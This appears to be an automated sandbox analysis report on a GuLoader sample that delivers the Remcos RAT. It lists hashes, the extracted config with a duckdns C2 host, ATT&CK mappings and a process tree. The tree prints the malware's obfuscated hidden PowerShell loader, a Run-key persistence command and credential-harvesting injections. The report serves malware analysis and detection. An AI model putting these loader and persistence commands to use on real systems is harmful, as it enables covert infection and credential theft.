guloader | f898edd3ab9e6c0428533bc9523fe897bb6b76b2eb67581eec0434e3fd5b4660

Analysis

max time kernel
147s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
17-04-2024 12:58

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General

Target

a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe
Size

692KB
MD5

0613b5c6e1cbce2a95749aad0f66d0a5
SHA1

7efd22ff2aeed3bbe316bf99126b6934da672128
SHA256

a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410
SHA512

e00bd747a765de4f07b162b85f3a9d0f054155fd48dc6fa08658d8e3a7b45403664943958a3dc3b4bcf67a2c59f2f6fddc94245a5c97d164099379dfdc73307d
SSDEEP

12288:Hpwiapd/PNMdUhTvaqOyXudHs+feJOgxQN08QbXyTTFakU5zxmRgZYqMC:HauFPfeQdQbX4FytdZnMC

Score

10^/10

guloader remcos grace collection downloader persistence rat

Malware Config

Extracted

Family

remcos

Botnet

GRACE

eweo9264gtuiort.duckdns.org:35966

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
ghyhne.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
gtsyhbnj-ZGGA79
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 3 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4612-109-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4612-116-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4612-117-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4384-108-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/4384-124-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 7 IoCs

resource	yara_rule
behavioral2/memory/4612-109-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4612-116-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4384-108-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4612-117-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2728-119-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2728-120-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4384-124-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Maskinchef = "%Unlime% -windowstyle minimized $Affaldsordningens=(Get-ItemProperty -Path 'HKCU:\\Opkaldsforsgene\\').Subelementary;%Unlime% ($Affaldsordningens)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
44	drive.google.com
45	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4880	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3600	powershell.exe
4880	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3600 set thread context of 4880	3600	powershell.exe	95
PID 4880 set thread context of 4384	4880	wab.exe	99
PID 4880 set thread context of 4612	4880	wab.exe	100
PID 4880 set thread context of 2728	4880	wab.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1936	4880	WerFault.exe	95

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5112	reg.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe
4384	wab.exe
4384	wab.exe
2728	wab.exe
2728	wab.exe
4384	wab.exe
4384	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3600	powershell.exe
4880	wab.exe
4880	wab.exe
4880	wab.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	2728	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4880	wab.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 3600	3328	a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe	87
PID 3328 wrote to memory of 3600	3328	a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe	87
PID 3328 wrote to memory of 3600	3328	a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe	87
PID 3600 wrote to memory of 3084	3600	powershell.exe	91
PID 3600 wrote to memory of 3084	3600	powershell.exe	91
PID 3600 wrote to memory of 3084	3600	powershell.exe	91
PID 3600 wrote to memory of 4880	3600	powershell.exe	95
PID 3600 wrote to memory of 4880	3600	powershell.exe	95
PID 3600 wrote to memory of 4880	3600	powershell.exe	95
PID 3600 wrote to memory of 4880	3600	powershell.exe	95
PID 3600 wrote to memory of 4880	3600	powershell.exe	95
PID 4880 wrote to memory of 4488	4880	wab.exe	96
PID 4880 wrote to memory of 4488	4880	wab.exe	96
PID 4880 wrote to memory of 4488	4880	wab.exe	96
PID 4488 wrote to memory of 5112	4488	cmd.exe	98
PID 4488 wrote to memory of 5112	4488	cmd.exe	98
PID 4488 wrote to memory of 5112	4488	cmd.exe	98
PID 4880 wrote to memory of 4384	4880	wab.exe	99
PID 4880 wrote to memory of 4384	4880	wab.exe	99
PID 4880 wrote to memory of 4384	4880	wab.exe	99
PID 4880 wrote to memory of 4384	4880	wab.exe	99
PID 4880 wrote to memory of 4612	4880	wab.exe	100
PID 4880 wrote to memory of 4612	4880	wab.exe	100
PID 4880 wrote to memory of 4612	4880	wab.exe	100
PID 4880 wrote to memory of 4612	4880	wab.exe	100
PID 4880 wrote to memory of 2728	4880	wab.exe	101
PID 4880 wrote to memory of 2728	4880	wab.exe	101
PID 4880 wrote to memory of 2728	4880	wab.exe	101
PID 4880 wrote to memory of 2728	4880	wab.exe	101

C:\Users\Admin\AppData\Local\Temp\a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe
"C:\Users\Admin\AppData\Local\Temp\a7ab5280efdd1f09f7c15daafa507b5a889e30cb9bfa0060ae5cf29a64c9d410.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Albertas=Get-Content 'C:\Users\Admin\AppData\Local\retskrivningsreformer\Reservebeholdninger.Dak175';$buddingers=$Albertas.SubString(59489,3);.$buddingers($Albertas)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:3084
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Maskinchef" /t REG_EXPAND_SZ /d "%Unlime% -windowstyle minimized $Affaldsordningens=(Get-ItemProperty -Path 'HKCU:\Opkaldsforsgene\').Subelementary;%Unlime% ($Affaldsordningens)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4488
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Maskinchef" /t REG_EXPAND_SZ /d "%Unlime% -windowstyle minimized $Affaldsordningens=(Get-ItemProperty -Path 'HKCU:\Opkaldsforsgene\').Subelementary;%Unlime% ($Affaldsordningens)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:5112
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\yvkubabdjyfmgpiyzxxqylfjddmlhng"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4384
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\iqpeusuxfgyrjvecqikkjyzslswuaxxjfa"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:4612
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ssvxvl"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2728
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 1764
      4⤵
      Program crash
      PID:1936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4880 -ip 4880
1⤵
PID:1392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g13xkkaj.30j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\yvkubabdjyfmgpiyzxxqylfjddmlhng

Filesize
4KB

MD5
4c4514208ee3b84df84b0e70a3226fc9

SHA1
c0229fd927531004752c99301f6600e2a2fae2cf

SHA256
aea67e28903e21d9eb4f17fb68abc3d52695f21bcfa790de94bc0148ef788e6a

SHA512
78d3381b1069f5052413f142498f764ec969f09abd3ee513a6d234c77ad7b933a19413bfa6c0c291b72c5c290262ebad4702f8ad45710eccc58fde5c13c5f1c7

Download Submit
C:\Users\Admin\AppData\Local\retskrivningsreformer\Reservebeholdninger.Dak175

Filesize
58KB

MD5
a687f6d2ecff91aee4bd9e4d16a35089

SHA1
d2666e69bc1455afb305dc880889acedbd0fab03

SHA256
9667fc1a9915b7e9b53ec8d2d8711bf4855ca01420538e152e6f4624db54436c

SHA512
284b000a92f44c171188bf540f5fb36b564c0fbd381d548cd3cffc74efc43e8acdf12d7db2da4228d1bbcde1658c3136d989b9f0c70bcd1ecbae8276cba1c759

Download Submit
C:\Users\Admin\AppData\Local\retskrivningsreformer\Vayu.Fav

Filesize
343KB

MD5
462543a6eeab310df3f68bb5420ad1cb

SHA1
583ed0031aab0b2e469d5c3f6562442b482c6a10

SHA256
8123d207e8a14700ead583e95dfdab1e9d47312b851e6cc7dbf234a66c8b8549

SHA512
fc863baeffb98ff446a9ebe5b33113b7fb1f55a9d7052d3591913da4360ac5a839e51eade732c0a9e3810239fe88468ca2bf3e8e3b642a682d6d83d1c3f6f871

Download Submit
memory/2728-120-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2728-119-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2728-115-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2728-107-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3600-75-0x0000000008A40000-0x000000000B755000-memory.dmp

Filesize
45.1MB

Download
memory/3600-73-0x0000000077BB1000-0x0000000077CD1000-memory.dmp

Filesize
1.1MB

Download
memory/3600-54-0x00000000061A0000-0x00000000061EC000-memory.dmp

Filesize
304KB

Download
memory/3600-55-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-56-0x0000000007140000-0x00000000071D6000-memory.dmp

Filesize
600KB

Download
memory/3600-57-0x0000000006660000-0x000000000667A000-memory.dmp

Filesize
104KB

Download
memory/3600-58-0x00000000066B0000-0x00000000066D2000-memory.dmp

Filesize
136KB

Download
memory/3600-59-0x0000000007790000-0x0000000007D34000-memory.dmp

Filesize
5.6MB

Download
memory/3600-48-0x0000000005A30000-0x0000000005D84000-memory.dmp

Filesize
3.3MB

Download
memory/3600-61-0x00000000083C0000-0x0000000008A3A000-memory.dmp

Filesize
6.5MB

Download
memory/3600-63-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-42-0x00000000052E0000-0x0000000005346000-memory.dmp

Filesize
408KB

Download
memory/3600-65-0x00000000076B0000-0x00000000076B3000-memory.dmp

Filesize
12KB

Download
memory/3600-66-0x0000000074160000-0x0000000074910000-memory.dmp

Filesize
7.7MB

Download
memory/3600-68-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-69-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-70-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-71-0x0000000008A40000-0x000000000B755000-memory.dmp

Filesize
45.1MB

Download
memory/3600-72-0x0000000008A40000-0x000000000B755000-memory.dmp

Filesize
45.1MB

Download
memory/3600-40-0x0000000005160000-0x0000000005182000-memory.dmp

Filesize
136KB

Download
memory/3600-38-0x0000000002B60000-0x0000000002B96000-memory.dmp

Filesize
216KB

Download
memory/3600-36-0x0000000074160000-0x0000000074910000-memory.dmp

Filesize
7.7MB

Download
memory/3600-41-0x0000000005200000-0x0000000005266000-memory.dmp

Filesize
408KB

Download
memory/3600-53-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/3600-37-0x0000000004DC0000-0x0000000004DD0000-memory.dmp

Filesize
64KB

Download
memory/3600-39-0x0000000005400000-0x0000000005A28000-memory.dmp

Filesize
6.2MB

Download
memory/3600-98-0x0000000008A40000-0x000000000B755000-memory.dmp

Filesize
45.1MB

Download
memory/3600-97-0x0000000074160000-0x0000000074910000-memory.dmp

Filesize
7.7MB

Download
memory/4384-100-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4384-124-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4384-103-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4384-108-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4612-117-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4612-102-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4612-106-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4612-109-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4612-116-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4880-77-0x0000000077BB1000-0x0000000077CD1000-memory.dmp

Filesize
1.1MB

Download
memory/4880-111-0x0000000077BB1000-0x0000000077CD1000-memory.dmp

Filesize
1.1MB

Download
memory/4880-96-0x00000000022B0000-0x0000000004FC5000-memory.dmp

Filesize
45.1MB

Download
memory/4880-94-0x0000000077BB1000-0x0000000077CD1000-memory.dmp

Filesize
1.1MB

Download
memory/4880-90-0x0000000001050000-0x00000000022A4000-memory.dmp

Filesize
18.3MB

Download
memory/4880-76-0x0000000077C38000-0x0000000077C39000-memory.dmp

Filesize
4KB

Download
memory/4880-74-0x00000000022B0000-0x0000000004FC5000-memory.dmp

Filesize
45.1MB

Download
memory/4880-126-0x00000000211F0000-0x0000000021209000-memory.dmp

Filesize
100KB

Download
memory/4880-129-0x00000000211F0000-0x0000000021209000-memory.dmp

Filesize
100KB

Download
memory/4880-130-0x0000000001050000-0x00000000022A4000-memory.dmp

Filesize
18.3MB

Download
memory/4880-131-0x00000000022B0000-0x0000000004FC5000-memory.dmp

Filesize
45.1MB

Download